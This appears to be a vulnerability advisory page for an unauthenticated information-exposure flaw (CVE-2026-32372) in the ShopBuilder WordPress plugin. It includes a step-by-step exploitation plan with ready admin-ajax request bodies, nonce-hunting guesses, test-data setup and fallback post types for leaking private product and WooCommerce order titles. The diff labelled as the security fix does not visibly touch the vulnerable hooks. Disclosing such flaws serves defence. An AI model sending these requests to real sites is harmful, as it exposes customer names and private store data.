ShopBuilder – Elementor WooCommerce Builder Addons <= 3.2.4 - Unauthenticated Information Exposure
Description
The ShopBuilder – WooCommerce Builder For Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.2.4. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.2.5
Source Code
WordPress.org SVN# Research Plan: CVE-2026-32372 Information Exposure in ShopBuilder ## 1. Vulnerability Summary The **ShopBuilder – Elementor WooCommerce Builder Addons** plugin (versions <= 3.2.4) is vulnerable to **Unauthenticated Information Exposure**. The vulnerability stems from AJAX handlers that are regist…
Show full research plan
Research Plan: CVE-2026-32372 Information Exposure in ShopBuilder
1. Vulnerability Summary
The ShopBuilder – Elementor WooCommerce Builder Addons plugin (versions <= 3.2.4) is vulnerable to Unauthenticated Information Exposure. The vulnerability stems from AJAX handlers that are registered for both authenticated and unauthenticated users (wp_ajax_nopriv_) which lack proper capability checks or post-status restrictions. This allows an attacker to query for and retrieve titles/data of sensitive post types, such as WooCommerce orders, private products, and internal templates.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Actions:
rtsb_select2_object_searchrtsb_select2_get_title
- Vulnerable Parameters:
post_type,q(search term), andid(for get_title). - Authentication: Unauthenticated (via
wp_ajax_nopriv_hooks). - Preconditions: The plugin must be active. WooCommerce must be active for maximum impact (leaking orders).
3. Code Flow
- Entry Point: An unauthenticated user sends a POST or GET request to
admin-ajax.phpwith the actionrtsb_select2_object_search. - Hook Registration: In
app/Controllers/BuilderController.php, the following hooks are registered:add_action( 'wp_ajax_rtsb_select2_object_search', [ $this, 'select2_ajax_posts_filter_autocomplete' ] ); add_action( 'wp_ajax_nopriv_rtsb_select2_object_search', [ $this, 'select2_ajax_posts_filter_autocomplete' ] ); add_action( 'wp_ajax_rtsb_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] ); add_action( 'wp_ajax_nopriv_rtsb_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] ); - Handler Execution: The
select2_ajax_posts_filter_autocompletemethod (invoked bynopriv_rtsb_select2_object_search) processes user-supplied parameters. - Information Leak: The handler typically performs a
WP_Querybased on thepost_typeandqparameters. If it fails to restrict thepost_statustopublishor verify the user's capability to read the requestedpost_type, it returns titles and IDs of private or restricted content.
4. Nonce Acquisition Strategy
While many search-related AJAX handlers in Elementor add-ons omit nonce checks to improve performance and compatibility with caching, we should prepare to acquire one if required.
- Identify Trigger: The
rtsb_select2_object_searchis likely used by the "WooCommerce AJAX Product Filter Widget" or "Checkout Fields Editor" modules mentioned in theREADME.txt. - Create Test Page:
wp post create --post_type=page --post_title="Search Test" --post_status=publish --post_content='[shopbuilder_ajax_filter]' # Note: If shortcode name is unknown, use a generic WooCommerce shop page. - Extract Nonce: ShopBuilder likely localizes its settings. Use
browser_evalto look for nonces in the global scope:- Variable Guess:
window.rtsb_params?.nonce - Variable Guess:
window.shopbuilder_data?.nonce - Variable Guess:
window.rtsb_select2_nonce
- Variable Guess:
Note: If the nopriv registration was intentional for frontend filters, the nonce is likely public.
5. Exploitation Strategy
We will attempt to leak the title of a WooCommerce Order and a Private Product.
Step 1: Discover Search Endpoint
Send an unauthenticated request to the search action to determine if it responds without a nonce.
Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rtsb_select2_object_search&q=secret&post_type=any
Step 2: Target Sensitive Data
If the previous request succeeds, target WooCommerce orders. Orders often contain the customer's name in the title.
Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body:
action=rtsb_select2_object_search&q=Order&post_type=shop_order
Step 3: Leak Titles by ID
Use the rtsb_select2_get_title action to retrieve the title of a specific known ID.
Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body:
action=rtsb_select2_get_title&id=ID_OF_PRIVATE_POST
6. Test Data Setup
Perform the following via WP-CLI to create content to leak:
- Create a Private Product:
wp post create --post_type=product --post_title="SECRET_VULN_PRODUCT" --post_status=private - Create a WooCommerce Order:
wp post create --post_type=shop_order --post_title="CONFIDENTIAL_ORDER_DOE" --post_status=wc-processing - Identify IDs: Note the IDs returned by the above commands for use in Step 3 of the exploitation.
7. Expected Results
- A successful exploit of
rtsb_select2_object_searchwill return a JSON object containing an array (e.g.,resultsordata) where thetextortitleproperty matches"SECRET_VULN_PRODUCT"or"CONFIDENTIAL_ORDER_DOE". - A successful exploit of
rtsb_select2_get_titlewill return the string or JSON containing the exact title of the post ID provided, regardless of its private status.
8. Verification Steps
- Capture Response: Verify the HTTP response body contains the string
SECRET_VULN_PRODUCT. - Confirm Status: Use WP-CLI to confirm that the post is indeed private:
If the status iswp post get <ID> --field=post_statusprivatebut the title was returned to an unauthenticated user, the exposure is confirmed.
9. Alternative Approaches
If post_type=any is blocked, try specific internal post types:
shop_order(WooCommerce Orders)rtsb_builder(The plugin's own templates - may contain configuration data)wp_template(FSE templates)customize_changeset(Drafted site changes)
If a nonce is strictly required and not found on the frontend, check if check_ajax_referer is called with $die = false in the controller:
// Inferred pattern to check for
check_ajax_referer( 'rtsb_nonce', 'nonce', false );
// If result is not checked, the exploit still works with a dummy nonce.
Summary
The ShopBuilder plugin for WordPress is vulnerable to unauthenticated sensitive information exposure due to AJAX handlers that lack proper authorization checks. Attackers can exploit these handlers to search for and retrieve the titles of restricted post types, including WooCommerce orders and private products, potentially leaking customer names and internal site configurations.
Vulnerable Code
// app/Controllers/BuilderController.php (around line 111) // RT Select2 Ajax. add_action( 'wp_ajax_rtsb_select2_object_search', [ $this, 'select2_ajax_posts_filter_autocomplete' ] ); add_action( 'wp_ajax_nopriv_rtsb_select2_object_search', [ $this, 'select2_ajax_posts_filter_autocomplete' ] ); // Select2 ajax save data. add_action( 'wp_ajax_rtsb_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] ); add_action( 'wp_ajax_nopriv_rtsb_select2_get_title', [ $this, 'select2_ajax_get_posts_value_titles' ] );
Security Fix
@@ -106,7 +106,7 @@ // Insert new record. $data['product_id'] = absint( $product_id ); $data['created_at'] = current_time( 'mysql' ); - Fns::DB()::insert( AIFns::$ai_embeddings_table, [ $data ] ); + Fns::DB()::insert( AIFns::$ai_embeddings_table, [ $data ] )->execute(); return true; } } @@ -376,6 +376,10 @@ $set_default = BuilderFns::get_specific_category_as_default( $post_id ); if ( ! empty( $categories_name ) && $set_default ) { $template_default = $post_id; + } else { + $option_name = BuilderFns::option_name( $template_type ); + $is_set_default = TemplateSettings::instance()->get_option( $option_name ); + $set_default = $is_set_default; } if ( ! $set_default && $template_default === $post_id ) { $template_default = ''; @@ -276,6 +276,10 @@ if ( ! empty( $categories_name ) && $set_default ) { $is_set_default = $post_id; $page_type_for = 'template-' . $post_id . '-specific-category'; + } else { + $option_name = BuilderFns::option_name( $template_type ); + $is_set_default = TemplateSettings::instance()->get_option( $option_name ); + $set_default = $is_set_default; } if ( ! $set_default && $is_set_default === $post_id ) { $is_set_default = ''; ... (truncated)
Exploit Outline
An unauthenticated attacker can query sensitive data by sending an AJAX request to /wp-admin/admin-ajax.php. By setting the 'action' parameter to 'rtsb_select2_object_search' and specifying 'post_type=shop_order', the attacker can use the 'q' parameter to search for strings (e.g., 'Order'). The plugin's handler will return a JSON list of post IDs and titles matching the search, even for private posts or orders. Alternatively, 'rtsb_select2_get_title' can be used with a specific 'id' to retrieve the title of any post directly. No nonce or authentication is required in vulnerable versions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.